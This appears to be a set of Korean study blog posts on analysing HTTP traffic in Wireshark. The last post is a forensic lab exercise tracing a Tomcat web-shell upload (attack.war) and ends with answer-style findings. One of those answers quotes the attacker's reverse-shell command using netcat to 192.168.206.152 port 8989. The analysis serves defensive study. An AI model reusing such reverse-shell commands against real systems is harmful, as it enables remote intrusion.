Request

HTTP  프로토콜 메소드 : GET

리소스 경로 : /%ED%8F%89%ED%99%94%EB%A1%9C%EC%9A%B4%EB%A7%88%EC%9D%8C

HTTP 프로토콜 버전 : HTTP/1.1

 

User-Agent (브라우저) : Mozilla/5.0

OS 정보 : (Windows NT 10.0; Win64; x64) ##NT 10.0은 Windows 10, 윈도우 서버 2016

브라우저 엔진 : AppleWebKit/537.36 (KHTML, like Gecko)

 

Response

HTTP 프로토콜 버전 : HTTP/1.1

응답 결과 : 301 Moved Permanently

서버 : Server: nginx

(301 moved) 옮겨진 URL 주소: Location: ~~?pwd=~~

'Study > NETWORK' 카테고리의 다른 글

HTTP 업로드 실패 패킷  (0) 2021.03.31
HTTP 간단 요청 패킷  (0) 2021.03.31
Wireshark를 통한 네트워크 패킷 분석 ①  (0) 2021.03.12

분석 패킷 : http-fault-post.pcap

 

초기 패킷

초기 3방향 핸드셰이크가 끝나면 클라이언트(24.4.97.251)는 웹서버(216.23.168.114)로 HTTP 패킷을 보낸다.

 

초기 HTTP POST 패킷

여기서 사용된 POST 메소드는 URI /flashmail.asp 와 HTTP/1.1의 HTTP 버전을 지정한다.

POST 요청을 통해 보내진 데이터를 확인하려면 HTML Form Encoded 부분을 보면된다.

 

HTTP 응답 403은 서버 자체 또는 서버에 있는 파일에 접근할 권한이 없을 경우에 발생한다.  
2개의 요청이 들어왔는데 두 번 다 서버가 403 응답을 한다.

 

구체적으로 어떤 에러 메시지를 주는지 확인하기 위해 

와이어샤크의 Export Objects 기능을 이용하여 403 응답을 보내는 페이지를 저장한 후 확인해보았다.

 

실제 사용자에게 보여지는 403 응답 페이지

403.1 에러로 실행 액세스가 금지된 것임을 확인할 수 있었다.

 

더보기

- 여러 403 하부 오류 코드

사진 출처 : 나무위키 namu.wiki/w/403%20Forbidden

 

'Study > NETWORK' 카테고리의 다른 글

Wireshark - HTTP 패킷  (0) 2022.08.23
HTTP 간단 요청 패킷  (0) 2021.03.31
Wireshark를 통한 네트워크 패킷 분석 ①  (0) 2021.03.12

하이퍼텍스트 전송 프로토콜(HTTP, Hypertext Transfer Protocol)

:: 웹 브라우저가 웹 서버에 연결해 웹 페이지를 볼 수 있게 해주는 월드와이드웹 전달 메커니즘이다.

 

 

초기 HTTP GET 요청 패킷

 

HTTP는 TCP를 통해 HTTP 통신을 위한 표준 포트인 서버의 포트 80으로 전달된다. 

HTTP 패킷은 송신기가 수신기에서 수행할 동작을 나타낸다. 

 

이 패킷은 GET 방법, URI를 /download.html로, 요청 버전을 HTTP/1.1로 구분한다.

이는 클라이언트가 HTTP 1.1 버전을 사용해 웹 서버의 download.html 페이지를 다운로드(GET)하라는 요청을 보내는 것이다.

 

그런 다음 호스트는 자신에 대한 정보를 웹 서버에 보낸다.

사용 중인 브라우저(User-Agent), 브라우저에서 사용하는 언어(Accept-Languages)와 쿠키 정보 등이 포함된다.

서버는 이 정보를 사용해 호환성을 보장하기 위해 클라이언트로 보낼 데이터를 판별할 수 있다.

 

클라이언트 브라우저와 웹 서버 간 TCP 전송 데이터

(여기서 클라이언트는 145.254.160.237, 서버는 65.208.228.223 이다)

 

4번 패킷처럼 클라이언트가 HTTP GET 요청을 전송하면

서버는 5번 패킷처럼 TCP ACK로 응답하고 패킷을 확인한 다음 요청된 데이터를 전송하기 시작한다(6번 패킷)

그리고 나서 클라이언트는 응답 패킷을 보내는 것이다(7번 패킷)

 

응답 코드 200인 최종 HTTP 패킷

클라이언트의 성공적 요청에 서버가 200 OK 응답을 보낸다.

패킷에는 타임스탬프와 웹서버의 콘텐츠 및 구성 매개변수 인코딩에 대한 몇 가지 추가 정보가 포함된다. 

클라이언트가 이 패킷을 받으면 트랜잭션이 완료된다.

 

 

 

'Study > NETWORK' 카테고리의 다른 글

Wireshark - HTTP 패킷  (0) 2022.08.23
HTTP 업로드 실패 패킷  (0) 2021.03.31
Wireshark를 통한 네트워크 패킷 분석 ①  (0) 2021.03.12

※ wireshark 실행 환경 : kali-linux-2021.1

 

Statics - Protocol Hiearchy 로 프로토콜 통계 확인

 

 

대부분의 패킷들이 TCP 프로토콜의 SSL, HTTP 를 이용함을 확인

Line-based text data : 웹쉘과 같은 공격에서 공격자들이 웹 페이지에서 정보를 가져올 때 이런 패킷이 사용됨

Media Type : 첨부파일을 통해 어떠한 파일이 올라간 경우에 이런 패킷이 사용됨

 

 

Statics - HTTP - Requests 로 서버로 요청한 정보 확인 (접근했던 도메인 확인 가능)

확인해 보니 192.168.206.133 서버의 8180번 포트로 수상한 패킷이 요청됨을 감지

 

 

Statics - Conversation 로 해당 포트 관련 정보를 확인

공격자의 IP 주소는 192.168.206.152 임을 예상

 

 

Statics - HTTP - Packet Counter 로 패킷 관련 정보 확인

1. GET 방식의 요청이 많음

2. 정상적 페이지에 접근 후 공격했음을 예상(200 OK)

※ 400, 500에러 등이 많이 찍히면 SQL Injection과 같은 공격임을 예상할 수도 있음

 

 

File - Export Objects - HTTP 로 HTTP 객체들을 확인

html 타입의 8180번 포트를 사용한 패킷들을 위주로 확인

/manager/html/upload 이후에 /attack 패킷이 요청되었으므로 upload 패킷부터 살펴보기 시작

 

 

/upload 포함 패킷 - 마우스 오른쪽 - Follow - TCP Stream 으로 패킷 흐름 확인

 

 

save as 로 이를 저장하면 공격자가 요청(접근)한 순서대로 웹 페이지를 볼 수 있음

 

 

대략 이런식

 

 

아까 저장했던 페이지를 자세히 보면, 공격자가 웹쉘을 올린 이후에 입력한 명령어들도 확인이 가능

command = ps+-aux, ls+-al, 

 

 

중간에 /upload 패킷에서 attack.war(웹쉘) 라는 이름을 가진 파일을 POST 방식으로 보낸 것을 확인

 

 

해당 패킷을 다시 확인

 

 

attack.war 파일의 내용물을 확인하기 위해 

Data 영역 - 마우스 오른쪽 - Export Packet Bytes로 파일 저장 후 압축 풀기

 

 

shell.jsp 파일 확인

 

 

attack.war의 md5 해시값은 5E86CA5044BDDEB1CA5F7B5852FDC360

 

 

 

1. 공격에 성공한 공격자 IP는? 192.168.206.152

2. 공격자 이외 서비스에 접근한 IP는?  192.168.206.154

3. 공격자가 시스템에 침투하기 위해 접근한 서비스 포트는? 8180

4. 공격자가 어떤 취약점을 이용한 것인지 서술하시오. apache tomcat 5.5 취약점

5. 공격자가 리버스 공격을 하기 위해 사용한 포트는? 8989

6. 공격자가 올린 웹쉘의 이름과 md5 해시 값은? attack.war

5E86CA5044BDDEB1CA5F7B5852FDC360
7. 공격자가 웹쉘을 올린 뒤에 사용한 명령어를 찾는대로 작성하시오.
ps -aux, ls -al, nc 192.168.206.152 8989 -e /bin/sh, shell.jsp파일 삭제

'Study > NETWORK' 카테고리의 다른 글

Wireshark - HTTP 패킷  (0) 2022.08.23
HTTP 업로드 실패 패킷  (0) 2021.03.31
HTTP 간단 요청 패킷  (0) 2021.03.31

+ Recent posts